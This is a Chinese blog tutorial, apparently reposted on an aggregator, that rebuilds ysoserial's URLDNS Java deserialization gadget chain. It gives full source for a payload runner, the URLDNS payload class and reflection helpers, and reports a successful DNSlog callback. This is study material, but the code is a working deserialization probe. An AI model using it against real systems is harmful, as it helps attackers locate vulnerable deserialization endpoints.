再探URLDNS链(手搓exp)

news/2024/10/1 12:24:15

夜深了,想着还需要沉淀自己的基础能力,于是乎没有继续往CC链里爬,通过研究了一下ysoserial里的URLDNS链,决定自己尝试写一个类似却有些不同的exp,使自己的基础更加牢固一些,故有了今天这篇文章。

ysoserial里的URLDNS链我就不再多说,有兴趣的话自己可以去看下面这篇文章的分析

https://www.cnblogs.com/Gcker/p/17805397.html

主要讲一下我自己构建EXP的思路

首先我是分3个类和一个实现接口来写的,我们首先来看一下执行类

 

这里我们先看一下PayloadRunner类,这个类的主要功能是能够运行实现了ObjectPayload这个接口所有的类。

import com.ObjectPayload;
public class PayloadRunner {public static void run(Class<? extends ObjectPayload<?>> clazz, String[] args) throws Exception{ObjectPayload<?> payloadInstance = clazz.getDeclaredConstructor().newInstance();Object result = payloadInstance.getObject(args.length > 0 ? args[0] : "默认参数");System.out.println("执行和返回有效载荷:" + result);}public static void main(String[] args){try {run(URLDNS.class,args);}catch (Exception e){e.printStackTrace();}}
}

  首先我先定义了一个run方法,这里接受一个Class对象作为参数,这个Class对象代表了一个实现了ObjectPayload接口的类。这里使用了泛型通配符<?>,表示

可以接受任何ObjectPayload的实现,通过clazz.getDeclaredConstructor().newInstance()创建了接口实现的一个新实例。这行代码使用了反射来寻找无参构造

器并创建对象,当getObject方法被调用时,传入的参数由args数组决定。如果args数组非空,传入第一个元素;如果为空,传入“默认参数”。

    public static void run(Class<? extends ObjectPayload<?>> clazz, String[] args) throws Exception{ObjectPayload<?> payloadInstance = clazz.getDeclaredConstructor().newInstance();Object result = payloadInstance.getObject(args.length > 0 ? args[0] : "默认参数");System.out.println("执行和返回有效载荷:" + result);}

  

  下面main方法这里,调用URLDNS这个类,也就是URL.class这里,这是ObjectPayload接口的一个具体实现。然后通过一个try-catch块,捕获异常。

    public static void main(String[] args){try {run(URLDNS.class, args);} catch (Exception e) {e.printStackTrace();}}

 

  解析来是URLDNS类,这里其实和ysoserial 里面定义的差不多,只做了稍微修改,整体代码如下:

import java.net.URL;
import java.net.URLStreamHandler;
import java.net.URLConnection;
import java.util.HashMap;
import com.ObjectPayload;public class URLDNS implements ObjectPayload<HashMap<URL,String>>{@Overridepublic HashMap<URL,String> getObject(String url) throws Exception{URLStreamHandler handler = new SilentURLStreamHandler();HashMap<URL, String > ht = new HashMap<URL, String>();URL u = new URL(null,url,handler);ht.put(u,url);Reflections.setFieldValue(u,"hashCode",-1);return ht;}private static class SilentURLStreamHandler extends URLStreamHandler{@Overrideprotected URLConnection openConnection(URL u){return null;}}
}

 

  首先定义了接口实现,这里的包主要是进行网络和集合的类,声明了ObjectPayload<HashMap<URL, String>>接口,指示这个类将返回一个HashMap,其中包含

URL和字符串的映射

import java.net.URL;
import java.net.URLStreamHandler;
import java.net.URLConnection;
import java.util.HashMap;
import com.ObjectPayload;public class URLDNS implements ObjectPayload<HashMap<URL,String>>{

 

  这段代码URLStreamHandler handler = new SilentURLStreamHandler();创建了SilentURLStreamHandler的实例, SilentURLStreamHandler是一

个内部类,用于在创建URL,对象时提供自定义的URLStreamHandler。这个处理器的实现通常会避免进行实际的网络连接,了解过URLDNS链的师傅们都理解为什么这里

要避免实际网络连接,这里就不,再说明了,可以看我之前的URLDNS链分析。通过将新创建的URL对象和原始的字符串url映射存储在HashMap中,可以在需要时检索和使

用这些数据。使用Reflections类修改URL对象的hashCode字段为-1,是为了能在URL.hashCode这里,实现DNS请求。

@Overridepublic HashMap<URL,String> getObject(String url) throws Exception{URLStreamHandler handler = new SilentURLStreamHandler();HashMap<URL, String> ht = new HashMap<>();URL u = new URL(null, url, handler); // 创建一个URL对象,使用自定义的StreamHandlerht.put(u, url); // 将URL和传入的字符串url存储到HashMap中Reflections.setFieldValue(u, "hashCode", -1); // 修改URL对象的hashCode字段return ht; // 返回包含URL对象和字符串映射的HashMap}

 

我在这里定义了一个私有的SilentURLStreamHandler类,并重写了openConnection方法,通过上面实例化重写的SilentURLStreamHandler类,确保不进行任何实

际的网络连接。

    private static class SilentURLStreamHandler extends URLStreamHandler {@Overrideprotected URLConnection openConnection(URL u) {return null; // 防止打开实际的网络连接}}

 

下面我们再来说第三个类

import java.lang.reflect.Field;public class Reflections {public static void setAccessible(Field field){field.setAccessible(true);//将字段声明为true,使其可以通过反射访问}public static Field getField(Class<?> clazz, String fileName) throws NoSuchFieldException{Field field = clazz.getDeclaredField(fileName); //获取任意类的声明字段setAccessible(field); //调用setAccessible方法设置字段会被访问return field; //返回field对象}public static void setFieldValue(Object obj, String fileName, Object value) throws Exception{Field field = getField(obj.getClass(), fileName);field.set(obj, value); //修改对象的值}}

 

  这里setAccessible(true)是允许在进行反射代码查询和修改的时候,通过这种方式保证在正常情况可以访问私有或受保护字段。

public static void setAccessible(Field field){field.setAccessible(true); // 将字段的访问权限设置为可访问,无论其可见性如何}

 

  getField方法,该方法通过类对象和字段名获取相应的Field对象。如果字段是私有的,这个方法会自动调用setAccessible来修改字段的访问权限,确保后续操作可

以无阻碍地进行。

public static Field getField(Class<?> clazz, String fieldName) throws NoSuchFieldException{Field field = clazz.getDeclaredField(fieldName); // 获取类中声明的指定名称的字段setAccessible(field); // 确保该字段是可访问的return field; // 返回这个字段对象}

 

setFieldValue方法结合了上述方法的功能,允许调用者为任何对象的任何字段设置新值,即使是私有或受保护的字段。

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{Field field = getField(obj.getClass(), fieldName); // 使用getField方法获取字段field.set(obj, value); // 设置对象的字段值}

 

最后是接口定义

import org.reflections.Reflections;
import java.lang.reflect.Modifier;
import java.util.Set;
import java.util.stream.Collectors;
public interface ObjectPayload<T> {T getObject(String command) throws Exception;class Utils {public static Set<Class<? extends ObjectPayload>> getPayloadClasses() {Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());return reflections.getSubTypesOf(ObjectPayload.class).stream().filter(pc -> !(pc.isInterface() || Modifier.isAbstract(pc.getModifiers()))).collect(Collectors.toSet());}}
}

 

这里使用泛型T使得接口可以灵活地适用于多种数据类型。实现这个接口的类将指定返回数据的具体类型,如HashMap<URL, String>

public interface ObjectPayload<T> {T getObject(String command) throws Exception;
}

 

这里使用Reflections库搜索当前ObjectPayload接口所在的包,找出所有实现了这个接口的类,使用Java Stream API过滤出那些既不是接口也不是抽象类的实现。这确

了找到的类都是可以实例化的,最终将满足条件的类收集到一个Set集合中返回。Set集合可以在应用程序中用于动态创建对象和调用方法。

class Utils {public static Set<Class<? extends ObjectPayload>> getPayloadClasses() {Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());return reflections.getSubTypesOf(ObjectPayload.class).stream().filter(pc -> !(pc.isInterface() || Modifier.isAbstract(pc.getModifiers()))).collect(Collectors.toSet());}
}

 

总结

这四段代码整体实现了一个简单的URLDNS攻击链,通过利用Java的动态加载和反射机制来执行特定的ObjectPayload实现。主要流程包括:

  1.通过ObjectPayload接口和Utils类定义和动态发现可用的payloads。

  2.使用PayloadRunner类来加载和执行具体的ObjectPayload实现。

  3.URLDNS类实现了ObjectPayload接口,通过创建特殊的URL对象来触发DNS查询。

  4.通过Reflections类进行必要的反射操作,如修改对象属性等。

1. URLDNS 类和ObjectPayload 接口

  1.使用自定义的URLStreamHandlerSilentURLStreamHandler)创建了一个URL对象。这个处理器被设计为不进行任何网络连接,但是这里要注意,创建URL对象时,如果URL的协议部分(如http)被解析,它可能会导致DNS解析,所以要设计返回为null

  2.创建的URL对象和原始URL字符串被存入一个HashMap并返回。

  3.利用Reflections类修改了URL对象的hashCode字段。

2. PayloadRunner 类

  1.PayloadRunner类负责实际加载并执行URLDNS类(或任何其他ObjectPayload实现)。使用Java反射来创建URLDNS类的实例并调用其getObject方法:

  2.传入命令行参数作为URL,如果没有提供参数,则使用默认参数。

  3.执行getObject方法后,结果(HashMap包含URL和字符串)被打印出来。

3. Utils 类和动态发现

  Utils类内部的getPayloadClasses方法使用Reflections库来动态发现所有实现了ObjectPayload接口的类。这使得PayloadRunner可以不依赖于硬编码的类名,增加了系统的灵活性和扩展性。在实际应用中,可以根据配置或其他条件在运行时选择不同的payload类来执行。

4. 完整的调用流程

  当PayloadRunnermain方法被执行时,它会加载URLDNS类,传入可能来自命令行的参数,并执行getObject方法。这个方法触发了可能的DNS查询,然后返回包含URL和字符串的HashMap

 

实验

 

我们在配置里,配置DNSlog地址


 

 

可以看到成功请求到了,今天就到这里了,如果有写的不对的地方,欢迎各位师傅指正,睡觉~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/29586.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

长安车机安装三方APP

前言 长安车机目前为基于安卓自研的系统。 目前 默认这个车机系统,不允许安装三方软件,具体表现为:插入u盘识别不出里边的apk文件。 自带的软件版本都特别低,且不支持升级,只能等待整个车机系统连带升级。 重点是,他们通常好几年不推送升级车机系统! 重点来了:没有攻破…

项目冲刺day2

这个作业属于哪个课程 软工4班这个作业要求在哪里 作业要求1.会议1. 照片2. 昨日已完成: 部分完成登录、注册功能。3.今天计划完成的工作 完成登录、注册功能,部分完成用户中心功能4.工作中遇到的困难 对框架不熟悉,出现很多报错。2.燃尽图3.每人的代码签入记录4.适当的项目…

musl-libc 安装与调试

musl-libc 官网:http://musl.libc.org1、下载与安装下载源码并解压编译参数./configure [option]... [VAR=VALUE]... option 说明 --help帮助 --prefix=DIR指定安装目录。默认为/usr/local/musl --host=HOST设置目标程序运行的CPU平台 一般不需要设置,除非你想要交叉编译 默…

El-table组件实现懒加载

背景 有的时候我们表格的数据不想使用分页组件展示,想要显示所有的数据,但是显示所有数据会导致服务器负荷严重(比如CPU过载),我们可以使用懒加载的形式,此方式利用监听是否滚动到元素底部,如果到元素底部就去请求下一页的数据 原理效果图示例代码 <template><di…

Stable Diffusion 发型提示词,美学探索

通过使用发型提示词,可以在生成图片时更准确地描述所需的发型特征。这些提示词包括各种发型类型,从卷发到短发,甚至特定的颜色和风格。通过结合正面和负面提示词,可以确保生成的图片符合预期,避免不合适的内容出现,并介绍一些提示词工具来打造个性化的图像描述。 如何使用…

在阿里云服务器中搭建一个 Ghost 博客

Ghost 是一个基于 Node.js 开发的免费开源博客平台,用于简化博客的写作发布等流程。本文介绍如何在阿里云的 Ubuntu 20.04 操作系统的轻量应用服务器上部署 Ghost 博客(在其他服务器比如 ECS 也是差不多的步骤,主要是 Node.js 环境要选对)。 Ghost 搭建概述 Ghost 官方推荐…

Scurm冲刺第四天

Scurm冲刺第四天 1. 站立式会议内容昨日已完成任务 今日计划完成任务首页代码设计实现 前端UI设计代码编写(收藏页面,商品详情页,个人中心页)后端用户功能模块的购物车,收藏和个人中心操作功能 后端管理员模块功能实现(登录注册功能,用户管理功能,个人中心操作)跟进前后…

【专题】2022年中国企业数字化学习行业研究报告PDF合集分享(附原数据表)

报告链接:http://tecdat.cn/?p=32263 多变,不确定性,复杂,模糊不清的新业务图景,加快了公司人才发展模式的数字化转变;疫情冲击离线运输与公司现金流量,消费者支出减少,机构表现受压,数字化学习突破;行业数字化水平不断提高,商业体系和学习体系之间的关联性不断加强…